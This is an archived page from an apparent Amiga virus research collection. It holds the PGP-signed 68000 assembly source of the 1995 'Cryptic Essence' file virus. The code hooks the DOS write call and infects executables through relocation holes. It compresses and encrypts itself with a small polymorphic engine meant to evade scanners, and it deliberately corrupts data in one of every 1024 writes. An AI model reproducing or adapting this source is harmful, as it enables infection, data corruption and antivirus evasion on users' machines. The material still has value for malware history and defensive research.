home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
amiga_virus_collection_research.7z
/
VIRUSCOLLECTIE
/
C
/
CJEZUS
/
CE_JESUS.LHA
/
CE.asm.asc
next >
Wrap
PGP Signed Message
|
1995-09-11
|
14KB
|
608 lines
-----BEGIN PGP SIGNED MESSAGE-----
******************************************************************
* *
* Cryptic Essence (c) 1995 By Evil Jesus *
* *
* the world is fucked and so am i maybe it's the other way round *
* *
******************************************************************
* note: some oddities in code are due phxass's difficulties to calculate
* right values in label (+-) label operations.
OPT !
MACHINE 68000
XDEF _write_link
XDEF _debug_ce
XDEF _check_vir
XDEF _comp_size
XDEF _nocomp_size
XDEF _vir_size
XDEF _linkspace
XDEF _relochole
XDEF _maxadr
XDEF _agression
XDEF _polywait
include "exec/types.i"
include "exec/funcdef.i"
include "exec/libraries.i"
include "exec/exec_lib.i"
include "exec/memory.i"
LINKSPACE = 6 ; space need for link vector in start of file
RELOCHOLE = 9216 ; relocation hole need for viruscode (div by 4)
MAXADR = 32766 ; maximum offset for hole
AGRESSION = 1024 ; how often to corrupt write calls
POLYWAIT = 50 ; how often use long link
; for debugging infector
; a0 dosbase
_debug_ce move.l -48+2(a0),write_old
rts
_check_vir move.l write_infect,d0
rts
_comp_size dc.l comp_e-comp_s
_nocomp_size dc.l nocomp_e-nocomp_s
_vir_size dc.l vir_e-vir_s
_linkspace dc.l LINKSPACE
_relochole dc.l RELOCHOLE
_maxadr dc.l MAXADR
_agression dc.l AGRESSION
_polywait dc.l POLYWAIT
cnop 0,4
vir_s:
comp_s:
; *******************************************************************
; dos write function link (no code before this!)
; d1 file
; d2 buffer
; d3 length
_write_link movem.l d2-d7/a2-a6,-(sp)
link a3,#-12
lea b,a4
movem.l d1-d3,(a3)
move.l write_old-b(a4),a5
add.l #1,write_count-b(a4)
move.l d2,a0
move.l d3,d0
bsr find_hole
tst.l d0
beq .normal
bsr infect
tst.l d0
beq .nosuccess
movem.l (a3),d1-d3 ; save virus and rest of data
jsr (a5)
.nosuccess bsr fix_infect ; remember to save d0
bra .exit
.normal movem.l (a3),d1-d3
subq.w #1,write_wait-b(a4)
bpl .write
move.w #AGRESSION,write_wait-b(a4)
add.l #1,write_err-b(a4)
move.l d2,a2
move.l d3,d0
lsr.l #1,d0
add.l d0,a2
not.b (a2)
jsr (a5)
not.b (a2)
bra .exit
.write jsr (a5)
.exit unlk a3
movem.l (sp)+,d2-d7/a2-a6
rts
; *******************************************************************
; search reloc hole from data
; a0 mem
; d0 size
; d0 success
find_hole movem.l d2-d7/a2-a6,-(sp)
moveq #0,d7
cmp.l #RELOCHOLE,d0 ; no point checking if smaller
blo .notexe
move.l a0,d1
btst #0,d1 ; aligment?
bne .notexe
cmp.l #$3f3,(a0) ; exe?
bne .notexe
tst.l 4(a0)
bne .notexe
move.l 8(a0),d1 ; hunk count
lsl.l #2,d1
lea 28(a0,d1.l),a1 ; first hunk
move.l a1,hunk_code-b(a4)
cmp.l #$3e9,-8(a1) ; code hunk?
bne .notexe
cmp.w #$4afc,2(a1) ; exclude libraries & devices
beq .notexe ; (rude check)
cmp.w #$4e75,2(a1)
beq .notexe
cmp.w #$4e75,4(a1)
beq .notexe
cmp.w #$4afc,4(a1)
beq .notexe
move.l -4(a1),d1
lsl.l #2,d1
cmp.l #RELOCHOLE,d1 ; enough data in codehunk
blo .notexe
lea (a1,d1.l),a2 ; reloc-32 start
lea -4(a0,d0.l),a3 ; data end
cmp.l a3,a2
bhi .notexe
cmp.l #$3ec,(a2) ; reloc hunk?
bne .noreloc
moveq #0,d2 ; calculate reloc count
lea 4(a2),a0
.calc cmp.l a3,a0
bhi .notexe
move.l (a0),d0
beq .calcdone
add.l d0,d2
lsl.l #2,d0
lea 8(a0,d0.l),a0
bra .calc
.calcdone move.l d2,d0
lsl.l #2,d0
moveq #0,d1
move.l $4.w,a6
CALLLIB _LVOAllocVec
move.l d0,d7
beq .notexe
lea 4(a2),a0 ; sort hunk
move.l d0,a1
move.l d2,d0
bsr _sort_hunk
move.l d2,d0 ; search reloc hole
move.l d7,a0
move.l (a0),d2
cmp.l #LINKSPACE,d2
blo .notexe
moveq #2,d1
.loop move.l (a0)+,d2
cmp.l #MAXADR,d2
bhi .notexe
move.l d2,d3
sub.l d1,d2
cmp.l #RELOCHOLE+4,d2
bhs .hit
move.l d3,d1
subq.l #1,d0
bne .loop
move.l hunk_code-b(a4),a0
move.l -4(a0),d2
lsl.l #2,d2
sub.l d1,d2
cmp.l #RELOCHOLE+4,d2
bhs .hit
bra .notexe
.hit move.l hunk_code-b(a4),a0
add.l d1,a0
add.l #4,a0
move.l a0,hunk_hole-b(a4)
moveq #1,d6
bra .exit
.noreloc move.l hunk_code-b(a4),a0
add.l #LINKSPACE,a0
move.l a0,hunk_hole-b(a4)
moveq #1,d6
bra .exit
.notexe moveq #0,d6
.exit tst.l d7
beq .no_free
move.l d7,a1
CALLLIB _LVOFreeVec
.no_free move.l d6,d0
movem.l (sp)+,d2-d7/a2-a6
rts
; *******************************************************************
; compress hole and virus together and prepare memory
; d0 success
infect movem.l d2-d7/a2-a6,-(sp)
* we need to allocate two buffers due compressor implementation
move.l #RELOCHOLE+128,d0
add.l #comp_e-comp_s,d0
lsl.l #1,d0
moveq #0,d1
move.l $4.w,a6
CALLLIB _LVOAllocVec
move.l d0,hunk_comp-b(a4)
beq .nocomp
move.l hunk_hole-b(a4),d0 ; distance to save
sub.l hunk_code-b(a4),d0
move.w d0,run_reloc-b(a4)
move.l hunk_code-b(a4),a0 ; copy jump vector to save
lea linksafe,a1
move.w #LINKSPACE-1,d0
.loop3 move.b (a0)+,(a1)+
dbf d0,.loop3
move.l hunk_comp-b(a4),a1
move.l hunk_hole-b(a4),a0 ; copy relochole to save
move.w #[RELOCHOLE/4]-1,d0
.loop move.l (a0)+,(a1)+
dbf d0,.loop
lea comp_s,a0 ; copy virus to save
move.w #comp_e-comp_s,d0
lsr.w #2,d0
subq.w #1,d0
.loop2 move.l (a0)+,(a1)+
dbf d0,.loop2
move.l hunk_comp-b(a4),a0 ; pack data
move.l #RELOCHOLE,d0
add.l #comp_e-comp_s,d0
move.l a0,a1
add.l d0,a1
bsr pack
tst.l d0
beq .nocomp
move.l hunk_comp-b(a4),a0 ; check if packed enough
add.l #RELOCHOLE,a0
add.l #comp_e-comp_s,a0
move.l (a0),d0
add.l #nocomp_e-nocomp_s,d0
add.l #8,d0
cmp.l #RELOCHOLE,d0
bls .compok
clr.l (a0)
bra .nocomp
.compok
* header/data copy
lea nocomp_s,a0
move.l hunk_hole-b(a4),a1
move.w #nocomp_e-nocomp_s,d0
lsr.w #2,d0
subq.w #1,d0
.loop4 move.l (a0)+,(a1)+
dbf d0,.loop4
move.l hunk_comp-b(a4),a0 ; packed data
add.l #RELOCHOLE,a0
add.l #comp_e-comp_s,a0
move.l (a0),d0
add.l #4,d0
lsr.w #2,d0
.loop5 move.l (a0)+,(a1)+
dbf d0,.loop5
* jump vector (including surprise for killers who don't examine code) *
move.l hunk_code-b(a4),a2
move.w run_reloc-b(a4),d0
sub.w #2,d0
sub.w #1,poly_link-b(a4)
bpl .giggle
move.w #POLYWAIT,poly_link-b(a4)
sub.w #2,d0
move.w #$4e71,(a2)+
.giggle move.w #$4efa,(a2)+ ; add jmp to start of hunk
move.w d0,(a2)
* the real magic begins... *
move.w $dff00a,d1 ; 'random' key
move.w $dff006,d2 ; 'random' add
move.b $bfe601,d3 ; add/sub mode
move.l hunk_hole-b(a4),a0
add.w #crypt_s-nocomp_s,a0
move.w #RELOCHOLE/2,d0
sub.w #crypt_s-nocomp_s,d0
lsr.w #1,d0
move.w d0,d4 ; crypt size
move.w d1,d5
.loop6 eor.w d5,(a0)+ ; crypt data
tst.b d3
bpl .addmode
sub.w d2,d5
bra .more
.addmode add.w d2,d5
.more dbf d0,.loop6
move.l hunk_hole-b(a4),a0
move.w d1,sp00-nocomp_s+2(a0) ; put key
move.w d4,sp02-nocomp_s+2(a0) ; put size
move.w #$0640,sp05-nocomp_s(a0) ; opcode: add
tst.b d3
bpl .putadd
move.w #$0440,sp05-nocomp_s(a0) ; opcode: sub
.putadd move.w d2,sp05-nocomp_s+2(a0) ; put value
* Simple Polymorph Engine (SpE) *
; add.w #$0000,dx ; %0000000000000xxx
; sub.w #$0000,dx ; %0000000000000xxx
; dbf dx,label ; %0000000000000xxx
; move.w #$0000,dx ; %0000xxx000000000
; eor.w dx,(ay)+ ; %0000xxx000000yyy
; lea label(pc),ay ; %0000yyy000000000
moveq #9,d3
move.w poly_a-b(a4),d0
add.w #1,d0
cmp.w #5,d0
bls .adrok
moveq #0,d0
.adrok move.w d0,poly_a-b(a4)
move.w #%1111111111111000,d2
and.w d2,sp04-nocomp_s(a0) ; eor
or.w d0,sp04-nocomp_s(a0)
move.w #%1111000111111111,d2
lsl.w d3,d0
and.w d2,sp03-nocomp_s(a0) ; lea
or.w d0,sp03-nocomp_s(a0)
move.w poly_d-b(a4),d0
add.w #1,d0
cmp.w #7,d0
bls .datok
moveq #0,d0
.datok move.w d0,poly_d-b(a4)
move.w d0,d1
add.w #1,d1
cmp.w #7,d1
bls .datok2
moveq #0,d1
.datok2: move.w #%1111111111111000,d2
and.w d2,sp05-nocomp_s(a0) ; add/sub
or.w d0,sp05-nocomp_s(a0)
and.w d2,sp06-nocomp_s(a0) ; dbf
or.w d1,sp06-nocomp_s(a0)
move.w #%1111000111111111,d2
lsl.w d3,d0
lsl.w d3,d1
and.w d2,sp00-nocomp_s(a0) ; move
or.w d0,sp00-nocomp_s(a0)
and.w d2,sp04-nocomp_s(a0) ; eor
or.w d0,sp04-nocomp_s(a0)
and.w d2,sp02-nocomp_s(a0) ; move
or.w d1,sp02-nocomp_s(a0)
* magic ends, now it is harder to select scan string
.skip
add.l #1,write_infect-b(a4)
moveq #1,d0
bra .exit
.nocomp moveq #0,d0
.exit: movem.l (sp)+,d2-d7/a2-a6
rts
; *******************************************************************
; repair possible damage done by infect and free everything
; (note: all registersmust be saved)
fix_infect movem.l d0-d7/a0-a6,-(sp)
move.l hunk_comp-b(a4),d0
beq .no_free
move.l d0,a0 ; check if memory file was modified
add.l #RELOCHOLE,a0
add.l #comp_e-comp_s,a0
tst.l (a0)
beq .free_only
move.l d0,a1 ; copy relochole back
move.l hunk_hole-b(a4),a0
move.w #[RELOCHOLE/4]-1,d1
.loop move.l (a0)+,(a1)+
dbf d1,.loop
lea linksafe,a0 ; copy jump vector back
move.l hunk_code-b(a4),a1
move.w #LINKSPACE-1,d1
.loop3 move.b (a0)+,(a1)+
dbf d1,.loop3
.free_only move.l d0,a1
move.l $4.w,a6
CALLLIB _LVOFreeVec
.no_free clr.l hunk_comp-b(a4)
movem.l (sp)+,d0-d7/a0-a6
rts
; *******************************************************************
; repair runned file and install virus to memory
; a3 header adr
; a5 start of this memory
; d5 size of this memory
; a6 exec
run_code
CALLLIB _LVOForbid
lea b,a4
move.l a3,a0 ; program run adr
sub.w run_reloc-b(a4),a0
move.l a0,linkjmp-b+2(a4)
lea dosname,a1
moveq #36,d0
CALLLIB _LVOOpenLibrary
tst.l d0
beq .repair
move.l d0,a2
move.l d0,a1
CALLLIB _LVOCloseLibrary
move.l -48+2(a2),d0
move.l d0,write_old-b(a4)
cmp.l #$00f00000,d0 ; rekicked won't be active...
blo .repair
cmp.l #$00ffffff,d0
bhi .repair
move.l #vir_e-vir_s,d0 ; alloc mem for both parts
move.l #0,d1
CALLLIB _LVOAllocMem
move.l d0,d7
beq .repair
clr.l hunk_comp-b(a4)
lea comp_s,a0 ; copy compcode
move.l d7,a1
move.w #comp_e-comp_s,d0
lsr.w #2,d0
subq.w #1,d0
.loop move.l (a0)+,(a1)+
dbf d0,.loop
move.l a3,a0 ; copy nocompcode (header)
move.w #nocomp_e-nocomp_s,d0
lsr.w #2,d0
subq.w #1,d0
.loop2 move.l (a0)+,(a1)+
dbf d0,.loop2
move.l d7,-48+2(a2) ; activate CE
.repair lea linksafe-b(a4),a0 ; link back
move.l linkjmp-b+2(a4),a1
moveq #LINKSPACE-1,d1
.loop3 move.b (a0)+,(a1)+
dbf d1,.loop3
move.l a5,a0 ; relochole back
move.l a3,a1
move.w #[RELOCHOLE/4]-1,d1
.loop4 move.l (a0)+,(a1)+
dbf d1,.loop4
cmp.w #$4ef9,_LVOCacheClearU(a6)
bne .kick13
jsr _LVOCacheClearU(a6)
.kick13 move.l a5,a1
move.l d5,d0
CALLLIB _LVOFreeMem
CALLLIB _LVOPermit
movem.l (sp)+,d0-d7/a0-a6 ; crash is possible...
linkjmp jmp $43453130
; *******************************************************************
; sort data
; a0 source longwords
; a1 target area
; d0 count
_sort_hunk
movem.l a1/d0,-(sp)
.next move.l (a0),d0
beq .done
add.l #8,a0
.loop move.l (a0)+,(a1)+
subq.l #1,d0
bne .loop
bra .next
.done movem.l (sp)+,a0/d0
include "lqsort.asm"
EVEN
; *******************************************************************
; compress data
; a0 source
; a1 target
; d0 source size
; d1 target size
; d0 success
pack include "compressor.asm"
*** data ***
b:
hunk_code dc.l 0 ; codehunk adr
hunk_hole dc.l 0 ; relochole adr
hunk_comp dc.l 0 ; relochole save & virus
write_old dc.l 0 ; old write function address
write_count dc.l 0 ; write call count (total)
write_err dc.l 0 ; write call count (corrupted)
write_infect dc.l 0 ; write call count (infected)
write_wait dc.w AGRESSION ; corruption wait
poly_link dc.w POLYWAIT ; trap for viruskillers
poly_a dc.w 0
poly_d dc.w 0
linksafe blk.b LINKSPACE,0 ; old code in start of hunk
run_reloc dc.w 0 ; distance between hole and codehunk start
*** strings ***
dc.b "Cryptic Essence, © 1995 Evil Jesus (maximum false positive) "
dc.b "Extra thanks for Vesselin Bontchev for giving valueable "
dc.b "information how to reach maximum damage in essee 'Future "
dc.b "Trends in Virus Writing'"
dosname dc.b "dos.library",0
cnop 0,4
comp_e:
; --- this part cannot be compressed ---
nocomp_s:
; visible header (SpE coded)
movem.l d0-d7/a0-a6,-(sp)
sp00 move.w #$4345,d0
sp01 move.l $4.w,a6
sp02 move.w #$1234,d1
sp03 lea crypt_s(pc),a0
sp04 eor.w d0,(a0)+
sp05 add.w #$3934,d0 ; add/sub
sp06 dbf d1,sp04
sp07 cmp.w #$4ef9,_LVOCacheClearU(a6)
sp08 bne crypt_s
sp09 jsr _LVOCacheClearU(a6)
; some killers will decrypt this using header key, solution must be
; found to hide it better... fortunately code can be rewritten easily
; without fear of multiple infections of variants!
crypt_s:
move.l #RELOCHOLE+256,d0
add.l #comp_e-comp_s,d0
move.l d0,d5
move.l #0,d1
CALLLIB _LVOAllocMem
tst.l d0
beq .fail
move.l d0,a5
lea nocomp_e,a0
move.l d0,a1
bsr depack
cmp.w #$4ef9,_LVOCacheClearU(a6)
bne .kick13
jsr _LVOCacheClearU(a6)
.kick13 lea nocomp_s,a3
lea RELOCHOLE(a5),a0
add.l #run_code-comp_s,a0
jmp (a0)
.fail: movem.l (sp)+,d0-d7/a0-a6
move.l #20,d0
rts
; *******************************************************************
; decompress data
; a0 source
; a1 target
depack include "decompressor.asm"
cnop 0,4
nocomp_e:
; --- compressed data follows ---
vir_e:
-----BEGIN PGP SIGNATURE-----
Version: 2.6ui (Amiga)
iQBFAgUBMFQGSY3j8jX6L7S9AQE9NAF/VwqG1gb2rjJ7+Hpk3UXpWMDoa/L+CgDx
xkgGgpETv/OuqDsOXK/pWmD4XM6q7HFh
=/r5A
-----END PGP SIGNATURE-----